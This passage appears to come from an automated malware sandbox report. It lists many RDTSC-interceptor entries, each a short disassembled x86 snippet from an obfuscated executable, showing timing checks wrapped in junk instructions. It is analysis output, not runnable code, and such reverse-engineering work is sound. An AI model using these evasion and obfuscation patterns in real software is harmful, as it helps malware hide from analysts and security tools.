Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E5EA5E second address: E3C205 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 nop 0x00000007 push 00000000h 0x00000009 push ebx 0x0000000a call 00007F8C2504F388h 0x0000000f pop ebx 0x00000010 mov dword ptr [esp+04h], ebx 0x00000014 add dword ptr [esp+04h], 0000001Ch 0x0000001c inc ebx 0x0000001d push ebx 0x0000001e ret 0x0000001f pop ebx 0x00000020 ret 0x00000021 call 00007F8C2504F38Fh 0x00000026 jne 00007F8C2504F38Ch 0x0000002c pop edx 0x0000002d jmp 00007F8C2504F396h 0x00000032 call dword ptr [ebp+122D2AC3h] 0x00000038 pushad 0x00000039 push eax 0x0000003a push edx 0x0000003b jmp 00007F8C2504F390h 0x00000040 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E5EFE4 second address: E5EFFE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C24FD04D6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E5EFFE second address: E5F004 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E5F14E second address: E5F154 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E5F154 second address: E5F18E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [eax] 0x0000000a push esi 0x0000000b jmp 00007F8C2504F390h 0x00000010 pop esi 0x00000011 mov dword ptr [esp+04h], eax 0x00000015 push eax 0x00000016 push edx 0x00000017 jno 00007F8C2504F398h 0x0000001d rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E5F24F second address: E5F255 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E5F255 second address: E5F25A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E5F25A second address: E5F260 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E5F2DE second address: E5F2F6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C2504F394h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E5F411 second address: E5F415 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E5F663 second address: E5F669 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E5F669 second address: E5F66D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E5A8F9 second address: E5A906 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E5A906 second address: E5A90A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E64E46 second address: E64E5E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8C2504F394h 0x00000009 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E65E69 second address: E65ED8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 nop 0x00000007 mov ebx, dword ptr [ebp+122D3B66h] 0x0000000d push dword ptr fs:[00000000h] 0x00000014 or bl, FFFFFFBBh 0x00000017 mov dword ptr fs:[00000000h], esp 0x0000001e clc 0x0000001f mov eax, dword ptr [ebp+122D03D1h] 0x00000025 push 00000000h 0x00000027 push ecx 0x00000028 call 00007F8C24FD04C8h 0x0000002d pop ecx 0x0000002e mov dword ptr [esp+04h], ecx 0x00000032 add dword ptr [esp+04h], 00000019h 0x0000003a inc ecx 0x0000003b push ecx 0x0000003c ret 0x0000003d pop ecx 0x0000003e ret 0x0000003f and ebx, 3A625D46h 0x00000045 push FFFFFFFFh 0x00000047 je 00007F8C24FD04D2h 0x0000004d jc 00007F8C24FD04CCh 0x00000053 jo 00007F8C24FD04C6h 0x00000059 nop 0x0000005a jp 00007F8C24FD04D8h 0x00000060 push eax 0x00000061 push edx 0x00000062 jp 00007F8C24FD04C6h 0x00000068 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E68D5D second address: E68D6A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E69D1B second address: E69D1F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E6AC51 second address: E6AC56 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E6BDEC second address: E6BDF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push edx 0x00000008 pop edx 0x00000009 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E6CD3B second address: E6CD4E instructions: 0x00000000 rdtsc 0x00000002 jc 00007F8C2504F388h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push ebx 0x00000010 pushad 0x00000011 popad 0x00000012 pop ebx 0x00000013 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E6CD4E second address: E6CDF2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C24FD04D5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push 00000000h 0x0000000c push esi 0x0000000d call 00007F8C24FD04C8h 0x00000012 pop esi 0x00000013 mov dword ptr [esp+04h], esi 0x00000017 add dword ptr [esp+04h], 00000018h 0x0000001f inc esi 0x00000020 push esi 0x00000021 ret 0x00000022 pop esi 0x00000023 ret 0x00000024 sub ebx, dword ptr [ebp+122D3B8Ah] 0x0000002a push dword ptr fs:[00000000h] 0x00000031 mov ebx, dword ptr [ebp+122D3996h] 0x00000037 mov dword ptr fs:[00000000h], esp 0x0000003e mov dword ptr [ebp+122D2D36h], esi 0x00000044 mov eax, dword ptr [ebp+122D01D5h] 0x0000004a push 00000000h 0x0000004c push esi 0x0000004d call 00007F8C24FD04C8h 0x00000052 pop esi 0x00000053 mov dword ptr [esp+04h], esi 0x00000057 add dword ptr [esp+04h], 0000001Ah 0x0000005f inc esi 0x00000060 push esi 0x00000061 ret 0x00000062 pop esi 0x00000063 ret 0x00000064 push FFFFFFFFh 0x00000066 add dword ptr [ebp+122D2F47h], esi 0x0000006c nop 0x0000006d jmp 00007F8C24FD04D2h 0x00000072 push eax 0x00000073 push eax 0x00000074 push edx 0x00000075 push eax 0x00000076 push edx 0x00000077 push eax 0x00000078 push edx 0x00000079 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E6CDF2 second address: E6CDF6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E6CDF6 second address: E6CE05 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C24FD04CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E71456 second address: E7147F instructions: 0x00000000 rdtsc 0x00000002 je 00007F8C2504F386h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c pushad 0x0000000d jo 00007F8C2504F38Ch 0x00000013 jnl 00007F8C2504F386h 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007F8C2504F38Eh 0x00000020 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E72515 second address: E72519 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E735FA second address: E73609 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 jp 00007F8C2504F39Ah 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E5FE0E second address: E5FE13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E5FE13 second address: E5FE72 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C2504F38Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F8C2504F398h 0x0000000f mov eax, dword ptr [esp+04h] 0x00000013 push ecx 0x00000014 jg 00007F8C2504F38Ch 0x0000001a pop ecx 0x0000001b mov eax, dword ptr [eax] 0x0000001d jmp 00007F8C2504F397h 0x00000022 mov dword ptr [esp+04h], eax 0x00000026 push eax 0x00000027 push edx 0x00000028 push eax 0x00000029 push edx 0x0000002a pushad 0x0000002b popad 0x0000002c rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E59D1C second address: E59D26 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F8C24FD04C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E59D26 second address: E59D35 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8C2504F38Bh 0x00000009 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E5FE72 second address: E5FE88 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C24FD04D2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E5FE88 second address: E5FE93 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jno 00007F8C2504F386h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E5FF06 second address: E5FF10 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E5FF10 second address: E5FF14 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E5FF14 second address: E5FF23 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E5FF23 second address: E5FF28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E5FF28 second address: E3CE01 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C24FD04D3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a jo 00007F8C24FD04DDh 0x00000010 call 00007F8C24FD04D0h 0x00000015 add dword ptr [ebp+122D2925h], edx 0x0000001b pop edi 0x0000001c lea eax, dword ptr [ebp+1248E814h] 0x00000022 mov ecx, dword ptr [ebp+12458D9Bh] 0x00000028 stc 0x00000029 nop 0x0000002a jmp 00007F8C24FD04D2h 0x0000002f push eax 0x00000030 jmp 00007F8C24FD04D1h 0x00000035 nop 0x00000036 mov edi, dword ptr [ebp+122D3680h] 0x0000003c lea eax, dword ptr [ebp+1248E7D0h] 0x00000042 mov dword ptr [ebp+12456204h], eax 0x00000048 nop 0x00000049 jmp 00007F8C24FD04D6h 0x0000004e push eax 0x0000004f jnl 00007F8C24FD04CAh 0x00000055 nop 0x00000056 jo 00007F8C24FD04C9h 0x0000005c mov cx, di 0x0000005f call dword ptr [ebp+122D1AB5h] 0x00000065 push eax 0x00000066 push edx 0x00000067 push ecx 0x00000068 je 00007F8C24FD04C6h 0x0000006e pop ecx 0x0000006f jmp 00007F8C24FD04D2h 0x00000074 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E8A9B9 second address: E8A9BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E8A9BF second address: E8A9C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E8AB04 second address: E8AB1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8C2504F38Fh 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E8AB1D second address: E8AB5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F8C24FD04D6h 0x0000000b popad 0x0000000c push ecx 0x0000000d jmp 00007F8C24FD04D9h 0x00000012 jc 00007F8C24FD04C6h 0x00000018 pop ecx 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E8AE09 second address: E8AE14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F8C2504F386h 0x0000000a pop ebx 0x0000000b rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E8AE14 second address: E8AE2E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007F8C24FD04C6h 0x0000000a jmp 00007F8C24FD04D0h 0x0000000f rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E08B5C second address: E08B62 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E164B3 second address: E164B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E950D9 second address: E950E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E950E0 second address: E9510D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F8C24FD04C6h 0x0000000a popad 0x0000000b jno 00007F8C24FD04D5h 0x00000011 popad 0x00000012 push eax 0x00000013 pushad 0x00000014 pushad 0x00000015 popad 0x00000016 jg 00007F8C24FD04C6h 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E95252 second address: E95256 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E95256 second address: E9525C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E9525C second address: E95262 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E95262 second address: E952A0 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F8C24FD04D2h 0x00000008 jmp 00007F8C24FD04D4h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 je 00007F8C24FD04D2h 0x00000017 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E952A0 second address: E952A8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E957BA second address: E957C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 ja 00007F8C24FD04C6h 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E957C8 second address: E957CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E957CC second address: E957D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E9591F second address: E9592B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jnp 00007F8C2504F386h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E95D4A second address: E95D50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E95D50 second address: E95D55 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: EA129C second address: EA12A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: EA12A0 second address: EA12AA instructions: 0x00000000 rdtsc 0x00000002 jne 00007F8C2504F386h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: EA12AA second address: EA12CD instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007F8C24FD04D4h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pushad 0x0000000c jc 00007F8C24FD04C6h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: EA12CD second address: EA12E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F8C2504F386h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push edi 0x0000000e jmp 00007F8C2504F38Bh 0x00000013 push ebx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: EA1429 second address: EA142F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: EA142F second address: EA1433 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: EA1433 second address: EA1437 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: EA1559 second address: EA155F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: EA155F second address: EA1563 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: EA22DA second address: EA22DE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: EA22DE second address: EA22E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: EA22E6 second address: EA232B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 jmp 00007F8C2504F395h 0x0000000a jmp 00007F8C2504F38Eh 0x0000000f jnl 00007F8C2504F386h 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F8C2504F392h 0x0000001d push eax 0x0000001e pop eax 0x0000001f rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: EA232B second address: EA232F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: EA56CC second address: EA56D0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: EA53AA second address: EA53B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: EA53B0 second address: EA53B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: EA53B6 second address: EA53DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 je 00007F8C24FD04D6h 0x0000000b jmp 00007F8C24FD04CAh 0x00000010 jnl 00007F8C24FD04C6h 0x00000016 pop edx 0x00000017 pushad 0x00000018 jng 00007F8C24FD04C8h 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: EA53DF second address: EA53E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: EA53E3 second address: EA5408 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C24FD04D9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jng 00007F8C24FD04C6h 0x00000011 rdtsc
